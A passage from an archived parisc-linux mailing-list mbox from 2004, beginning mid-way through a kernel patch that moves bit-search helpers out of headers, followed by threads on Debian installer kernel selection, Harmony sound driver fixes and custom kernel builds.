+       if (tmp == 0UL)        /* Are any bits set? */
+               return result + size; /* Nope. */
+found_middle:
+       return result + __ffs(tmp);
+}
+EXPORT_SYMBOL(__find_next_bit);
+
+/*
+ * This implementation of ext2_find_{first,next}_zero_bit was stolen from
+ * Linus' asm-alpha/bitops.h and modified for a big-endian machine.
+ */
+
+extern unsigned long __ext2_find_next_zero_bit(void *addr,
+               unsigned long size, unsigned long offset)
+{
+       unsigned int *p = ((unsigned int *) addr) + (offset >> 5);
+       unsigned int result = offset & ~31UL;
+       unsigned int tmp;
+
+       if (offset >= size)
+               return size;
+       size -= result;
+       offset &= 31UL;
+       if (offset) {
+               tmp = cpu_to_le32p(p++);
+               tmp |= ~0UL >> (32-offset);
+               if (size < 32)
+                       goto found_first;
+               if (tmp != ~0U)
+                       goto found_middle;
+               size -= 32;
+               result += 32;
+       }
+       while (size >= 32) {
+               if ((tmp = cpu_to_le32p(p++)) != ~0U)
+                       goto found_middle;
+               result += 32;
+               size -= 32;
+       }
+       if (!size)
+               return result;
+       tmp = cpu_to_le32p(p);
+found_first:
+       tmp |= ~0U << size;
+found_middle:
+       return result + ffz(tmp);
+}
+EXPORT_SYMBOL(__ext2_find_next_zero_bit);
+
diff -Naur linux-2.6.a/include/asm-parisc/bitops.h linux-2.6.b/include/asm-parisc/bitops.h
--- linux-2.6.a/include/asm-parisc/bitops.h     2004-06-06 15:17:31.000000000 +0200
+++ linux-2.6.b/include/asm-parisc/bitops.h     2004-06-06 19:53:20.232540000 +0200
@@ -354,78 +354,15 @@
  #define find_first_zero_bit(addr, size) \
         find_next_zero_bit((addr), (size), 0)

-static __inline__ unsigned long find_next_zero_bit(void * addr, unsigned long size, unsigned long offset)
-{
-       unsigned long * p = ((unsigned long *) addr) + (offset >> SHIFT_PER_LONG);
-       unsigned long result = offset & ~(BITS_PER_LONG-1);
-
-       if (offset >= size)
-               return size;
-       size -= result;
-       offset &= (BITS_PER_LONG-1);
-       if (offset) {
-               tmp = *(p++);
-               tmp |= ~0UL >> (BITS_PER_LONG-offset);
-               if (size < BITS_PER_LONG)
-                       goto found_first;
-               if (~tmp)
-                       goto found_middle;
-               size -= BITS_PER_LONG;
-               result += BITS_PER_LONG;
-       }
-       while (size & ~(BITS_PER_LONG -1)) {
-               if (~(tmp = *(p++)))
-                       goto found_middle;
-               result += BITS_PER_LONG;
-               size -= BITS_PER_LONG;
-       }
-       if (!size)
-               return result;
-       tmp = *p;
-found_first:
-       tmp |= ~0UL << size;
-found_middle:
-       return result + ffz(tmp);
-}
+#define find_next_zero_bit(addr, size, offset) \
+               __find_next_zero_bit((addr), (size), (offset))

-static __inline__ unsigned long find_next_bit(unsigned long *addr, unsigned long size, unsigned long offset)
-{
-       unsigned long *p = addr + (offset >> 6);
-       unsigned long result = offset & ~(BITS_PER_LONG-1);
-       unsigned long tmp;
-
-       if (offset >= size)
-               return size;
-       size -= result;
-       offset &= (BITS_PER_LONG-1);
-       if (offset) {
-               tmp = *(p++);
-               tmp &= (~0UL << offset);
-               if (size < BITS_PER_LONG)
-                       goto found_first;
-               if (tmp)
-                       goto found_middle;
-               size -= BITS_PER_LONG;
-               result += BITS_PER_LONG;
-       }
-       while (size & ~(BITS_PER_LONG-1)) {
-               if ((tmp = *(p++)))
-                       goto found_middle;
-               result += BITS_PER_LONG;
-               size -= BITS_PER_LONG;
-       }
-       if (!size)
-               return result;
-       tmp = *p;
-
-found_first:
-       tmp &= (~0UL >> (BITS_PER_LONG - size));
-       if (tmp == 0UL)        /* Are any bits set? */
-               return result + size; /* Nope. */
-found_middle:
-       return result + __ffs(tmp);
-}
+extern unsigned long __find_next_zero_bit(void * addr, unsigned long size, unsigned long offset);
+
+#define find_next_bit(addr, size, offset) \
+               __find_next_bit((addr), (size), (offset))
+
+extern unsigned long __find_next_bit(unsigned long *addr, unsigned long size, unsigned long offset);

  /**
   * find_first_bit - find the first set bit in a memory region
@@ -474,41 +411,10 @@
  #define ext2_find_first_zero_bit(addr, size) \
          ext2_find_next_zero_bit((addr), (size), 0)

-extern __inline__ unsigned long ext2_find_next_zero_bit(void *addr,
-       unsigned long size, unsigned long offset)
-{
-       unsigned int *p = ((unsigned int *) addr) + (offset >> 5);
-       unsigned int result = offset & ~31UL;
-       unsigned int tmp;
-
-       if (offset >= size)
-               return size;
-       size -= result;
-       offset &= 31UL;
-       if (offset) {
-               tmp = cpu_to_le32p(p++);
-               tmp |= ~0UL >> (32-offset);
-               if (size < 32)
-                       goto found_first;
-               if (tmp != ~0U)
-                       goto found_middle;
-               size -= 32;
-               result += 32;
-       }
-       while (size >= 32) {
-               if ((tmp = cpu_to_le32p(p++)) != ~0U)
-                       goto found_middle;
-               result += 32;
-               size -= 32;
-       }
-       if (!size)
-               return result;
-       tmp = cpu_to_le32p(p);
-found_first:
-       tmp |= ~0U << size;
-found_middle:
-       return result + ffz(tmp);
-}
+#define ext2_find_next_zero_bit(addr, size, offset) \
+               __ext2_find_next_zero_bit((addr), (size), (offset))
+
+extern unsigned long __ext2_find_next_zero_bit(void *addr, unsigned long size, unsigned long offset);

  /* Bitmap functions for the minix filesystem.  */
  #define minix_test_and_set_bit(nr,addr) ext2_set_bit(nr,addr)
========><======

What's your opinion about its relievence for parisc?

hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Bug#254073: tc1 fail on hppa
Date: Sun, 13 Jun 2004 12:41:47 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20040613164147.GC351__22528.0873514295$1416623471$gmane$org@mcmartin.ca>
References: <20040612193756.GA351@mcmartin.ca>
	<20040613122501.GH31518@riva.ucam.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623471 9905 80.91.229.3 (22 Nov 2014 02:31:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:11 +0000 (UTC)
Cc: 254073@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Colin Watson <cjwatson@debian.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14062 invoked by uid 65534); 13 Jun 2004 16:42:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 13 Jun 2004 18:42:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B48D63BE1F; Sun, 13 Jun 2004 10:42:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08847-04; Sun, 13 Jun 2004 10:42:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6C9C13BE18; Sun, 13 Jun 2004 10:41:54 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 240B93BE0A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 10:41:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07468-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 10:41:50 -0600 (MDT)
Original-Received: from mcmartin.ca
	(CPE0030ab0b413b-CM023469906297.cpe.net.cable.rogers.com
	[24.157.3.237])
	by free.linux.hp.com (Postfix) with ESMTP id A73783BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 10:41:49 -0600 (MDT)
Original-Received: by mcmartin.ca (Postfix, from userid 1000)
	id E0FD0F509; Sun, 13 Jun 2004 12:41:47 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20040613122501.GH31518@riva.ucam.org>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21713

On Sun, Jun 13, 2004 at 01:25:01PM +0100, Colin Watson wrote:
> base-installer has no intelligence about hppa, and it should. How would
> one go about detecting whether the 32-bit or the 64-bit kernel is
> appropriate? Is it OK to install SMP kernels regardless, or do we need
> to detect UP vs. SMP too?
> 
Hmm. It's a problem because the firmware of some machines will only
boot 64-bit kernels, some will only boot 32-bit, and some will boot
either.

The best thing to do, would be to always install 32bit by default. As
when a person tries to boot on a machine that only has 64-bit firmware,
they will have to manually edit the PALO commandline to use vmlinux64, which
will result in them having a parisc64 uname -m entry. So I'd think 
install based on the uname -m entry would work.

There's no problem, afaik, booting SMP on UP machines, so that should be
fine.

I was going to take a look at this, but I cannot seem to figure out how
to check out d-i, and the daily svn snapshot is b0rked.

I'm going to copy the parisc-linux list with this, for comments.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Colin Watson <cjwatson@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Bug#254073: tc1 fail on hppa
Date: Sun, 13 Jun 2004 18:24:50 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20040613172450.GA24029__25298.0978032157$1416623471$gmane$org@riva.ucam.org>
References: <20040612193756.GA351@mcmartin.ca>
	<20040613122501.GH31518@riva.ucam.org>
	<20040613164147.GC351@mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623471 9908 80.91.229.3 (22 Nov 2014 02:31:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:11 +0000 (UTC)
Cc: 254073@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@debian.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17601 invoked by uid 65534); 13 Jun 2004 17:25:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 13 Jun 2004 19:25:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 100A83BE27; Sun, 13 Jun 2004 11:25:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09201-04; Sun, 13 Jun 2004 11:25:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7D0263BE0A; Sun, 13 Jun 2004 11:24:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 169983BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 11:24:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07911-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 11:24:53 -0600 (MDT)
Original-Received: from chiark.greenend.org.uk (chiark.greenend.org.uk
	[193.201.200.170])
	by free.linux.hp.com (Postfix) with ESMTP id 95B813BDD0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 11:24:52 -0600 (MDT)
Original-Received: from [192.168.124.112] (helo=riva.lab.dotat.at)
	by chiark.greenend.org.uk (Debian Exim 3.35 #1) with esmtp
	id 1BZYix-0004MV-00; Sun, 13 Jun 2004 18:24:51 +0100
Original-Received: from cjwatson by riva.lab.dotat.at with local (Exim 3.35 #1 (Debian))
	id 1BZYiw-0006Fr-00; Sun, 13 Jun 2004 18:24:50 +0100
Content-Disposition: inline
In-Reply-To: <20040613164147.GC351@mcmartin.ca>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21714

On Sun, Jun 13, 2004 at 12:41:47PM -0400, Kyle McMartin wrote:
> On Sun, Jun 13, 2004 at 01:25:01PM +0100, Colin Watson wrote:
> > base-installer has no intelligence about hppa, and it should. How would
> > one go about detecting whether the 32-bit or the 64-bit kernel is
> > appropriate? Is it OK to install SMP kernels regardless, or do we need
> > to detect UP vs. SMP too?
> 
> Hmm. It's a problem because the firmware of some machines will only
> boot 64-bit kernels, some will only boot 32-bit, and some will boot
> either.
> 
> The best thing to do, would be to always install 32bit by default. As
> when a person tries to boot on a machine that only has 64-bit firmware,
> they will have to manually edit the PALO commandline to use vmlinux64, which
> will result in them having a parisc64 uname -m entry. So I'd think 
> install based on the uname -m entry would work.

OK, that's something we can do. I'm buried in base-installer at the
moment anyway, so I'll have a go at this.

> There's no problem, afaik, booting SMP on UP machines, so that should be
> fine.

Good. That matches some other architectures.

> I'm going to copy the parisc-linux list with this, for comments.

Note that I don't read this list, so please be sure to copy
254073@bugs.debian.org on replies.

Thanks,

-- 
Colin Watson                                  [cjwatson@flatline.org.uk]
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Harmony fixes
Date: Tue, 8 Jun 2004 20:21:19 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <A38D5236-B978-11D8-B143-0030656F07A2@esiee.fr>
References: <20040605184526.GA1317@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v553)
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623471 9913 80.91.229.3 (22 Nov 2014 02:31:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22606 invoked by uid 65534); 8 Jun 2004 18:21:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 08 Jun 2004 20:21:35 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 254BD3BE31; Tue,  8 Jun 2004 12:21:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id 43A003BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Jun 2004 12:21:25 -0600 (MDT)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 025063658F7;
	Tue,  8 Jun 2004 20:21:24 +0200 (CEST)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.16) id 33635-1742EF0E;
	Tue, 08 Jun 2004 20:21:23 +0200
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP id C6BBE3658F0;
	Tue,  8 Jun 2004 20:21:23 +0200 (CEST)
In-Reply-To: <20040605184526.GA1317@calypso>
X-Mailer: Apple Mail (2.553)
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.25.0.61;
	VDF: 6.25.0.88; host: mail.esiee.fr)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21715

tested and committed, enjoy.

Le samedi, 5 juin 2004, =E0 20:45 Europe/Paris, Stuart Brady a =E9crit :

> harmony-levellimit.patch:
> Volume levels passed to the MIXER_WRITE ioctls are now limited to 100,
> which prevents bogus levels from interferring with other mixer=20
> channels.
>
> harmony-stereolevels.patch:
> The MIXER_READ ioctls now return a right_level for the monophonic =
mixer
> channels that is the same as the left_level.
>
> harmony-s16le.patch:
> The AFMT_S16_LE format is now rejected, just as all other unsupported
> formats are rejected.  As a result, applications which write =
big-endian
> samples with AFMT_S16_LE format set will no longer work.=

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Depmod unresolved symbols when upgrading to
	2.4.18-32-smp on J6000
Date: Mon, 7 Jun 2004 19:52:15 +0200
Lines: 125
Approved: news@gmane.org
Message-ID: <6953A7F8-B8AB-11D8-9561-0030656F07A2@esiee.fr>
References: <FHEGKPBPFFGIFBGOANOKOEMHEGAA.h.cochran@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v553)
Content-Type: multipart/mixed;
  boundary="===============0682246311=="
X-Trace: ger.gmane.org 1416623471 9914 80.91.229.3 (22 Nov 2014 02:31:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Harry Cochran" <h.cochran@comcast.net>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21766 invoked by uid 65534); 7 Jun 2004 17:52:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 07 Jun 2004 19:52:37 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 311433BE33; Mon,  7 Jun 2004 11:52:23 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id C370C3BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  7 Jun 2004 11:52:19 -0600 (MDT)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 1F6903658C2;
	Mon,  7 Jun 2004 19:52:18 +0200 (CEST)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.16) id 16496-73B2C699;
	Mon, 07 Jun 2004 19:52:18 +0200
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP id E045B36589F;
	Mon,  7 Jun 2004 19:52:17 +0200 (CEST)
In-Reply-To: <FHEGKPBPFFGIFBGOANOKOEMHEGAA.h.cochran@comcast.net>
X-Mailer: Apple Mail (2.553)
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.25.0.61;
	VDF: 6.25.0.87; host: mail.esiee.fr)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21716


--===============0682246311==
Content-Type: multipart/alternative; boundary=Apple-Mail-2-949352994


--Apple-Mail-2-949352994
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=ISO-8859-1;
	format=flowed


Le lundi, 7 juin 2004, =E0 19:40 Europe/Paris, Harry Cochran a =E9crit :

> Hi Thibaut,
>
> =A0=A0=A0=A0=A0=A0=A0 After fighting some other fires, I'm back to the =
J6000 smp=20
> problem. I have to admit that I've never built a custom kernel before=20=

> (although I have had gcc problems before :-). Are you sure I can't use=20=

> any of the kernels listed on the=20
> http://cvs.parisc-linux.org/download/linux-2.4/ page? Also, I have to=20=

> admit that I tried putting=20
> "http://cvs.parisc-linux.org/download/linux-2.4/autobuild/32smp/ ./"=20=

> in sources.list and doing an apt-cache search=20
> palinux-32smp-2.4.26-pa4. This returned "Couldn't stat source package=20=

> list" (2 no such file or directory). If I can use a pre-built kernel,=20=

> I would really appreciate your insight into what I put into=20
> sources.list and then the exact form of the apt-get install that I=20
> should do. If I really do need to build a custom kernel, I'll have to=20=

> go off and figure out how to do that.
>
I never said you couldn't use autobuild kernels

and your apt question should be asked to the list, since i don't know=20
why it doesn't work, and that your experience may be useful to others.

finally, both parisc-linux and pateam websites have docs on how to=20
build custom kernels.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/=

--Apple-Mail-2-949352994
Content-Transfer-Encoding: quoted-printable
Content-Type: text/enriched;
	charset=ISO-8859-1



Le lundi, 7 juin 2004, =E0 19:40 Europe/Paris, Harry Cochran a =E9crit :


<excerpt><fontfamily><param>Arial</param><smaller>Hi Thibaut,


=A0=A0=A0=A0=A0=A0=A0 After fighting some other fires, I'm back to the =
J6000 smp
problem. I have to admit that I've never built a custom kernel before
(although I have had gcc problems before :-). Are you sure I can't use
any of the kernels listed on the
=
<underline><color><param>0000,6666,0000</param>http://cvs.parisc-linux.org=
/download/linux-2.4/</color></underline>
page? Also, I have to admit that I tried putting
=
"<underline><color><param>0000,0000,0000</param>http://cvs.parisc-linux.or=
g/download/linux-2.4/autobuild/32smp/</color></underline>
./" in sources.list and doing an apt-cache search
palinux-32smp-2.4.26-pa4. This returned "Couldn't stat source package
list" (2 no such file or directory). If I can use a pre-built kernel,
I would really appreciate your insight into what I put into
sources.list and then the exact form of the apt-get install that I
should do. If I really do need to build a custom kernel, I'll have to
go off and figure out how to do that.</smaller></fontfamily>


</excerpt>I never said you couldn't use autobuild kernels


and your apt question should be asked to the list, since i don't know
why it doesn't work, and that your experience may be useful to others.


finally, both parisc-linux and pateam websites have docs on how to
build custom kernels.


HTH,



Thibaut VARENE

The PA/Linux ESIEE Team

http://www.pateam.org/=

--Apple-Mail-2-949352994--


--===============0682246311==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0682246311==--



From - Thu Nov 08 21:32:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Thu, 10 Jun 2004 23:58:19 -0600
Lines: 215
Approved: news@gmane.org
Message-ID: <20040611055819.GA32005@colo.lackof.org>
References: <20040604202546.GC18574@colo.lackof.org>
	<20040605065126.GA28343@colo.lackof.org>
	<1086444652.1999.20.camel@mulgrave>
	<20040605210515.GA8098@colo.lackof.org>
	<1086470366.1999.36.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623472 9915 80.91.229.3 (22 Nov 2014 02:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:12 +0000 (UTC)
